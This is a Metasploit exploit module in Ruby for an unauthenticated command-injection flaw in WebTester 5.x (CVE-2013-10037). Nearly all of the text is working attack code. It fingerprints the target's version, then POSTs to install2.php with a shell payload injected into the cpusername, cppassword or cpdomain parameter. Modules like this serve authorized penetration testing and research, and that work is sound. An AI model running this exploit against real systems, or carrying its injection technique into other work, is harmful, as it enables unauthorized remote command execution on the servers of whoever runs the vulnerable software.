WebTester 5.x Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "WebTester 5.x Command Execution",
        'Description' => %q{
          This module exploits a command execution vulnerability in WebTester
          version 5.x. The 'install2.php' file allows unauthenticated users to
          execute arbitrary commands in the 'cpusername', 'cppassword' and
          'cpdomain' parameters.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bcoles' # Metasploit
        ],
        'References' => [
          ['CVE', '2013-10037'],
          ['OSVDB', '98750'],
          ['URL', 'https://sourceforge.net/p/webtesteronline/bugs/3/']
        ],
        'Payload' => {
          'Space' => 8190, # Just a big value, injection on POST variable
          'DisableNops' => true,
          'BadChars' => "\x00"
        },
        'Arch' => ARCH_CMD,
        'Platform' => 'unix',
        'Targets' => [
          # Tested on WebTester v5.1.20101016
          [ 'WebTester version 5.x', { 'auto' => true } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
      ]
    )
  end

  #
  # Checks if target is running WebTester version 5.x
  #
  def check
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })

    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /Eppler Software/
      if res.body =~ / - v5\.1\.20101016/
        vprint_status("Found version: 5.1.20101016")
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      elsif res.body =~ / - v(5\.[\d\.]+)/
        vprint_status("Found version: #{$1}")
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      else
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    vuln_params = [
      'cpusername',
      'cppassword',
      'cpdomain'
    ]
    print_status("Sending payload (#{payload.encoded.length} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'install2.php'),
      'vars_post' => {
        'createdb' => 'yes',
        'cpanel' => 'yes',
        "#{vuln_params.sample}" => "';#{payload.encoded} #"
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200 and res.body =~ /Failed to connect to database server/
      print_good("Payload sent successfully")
    else
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
  end
end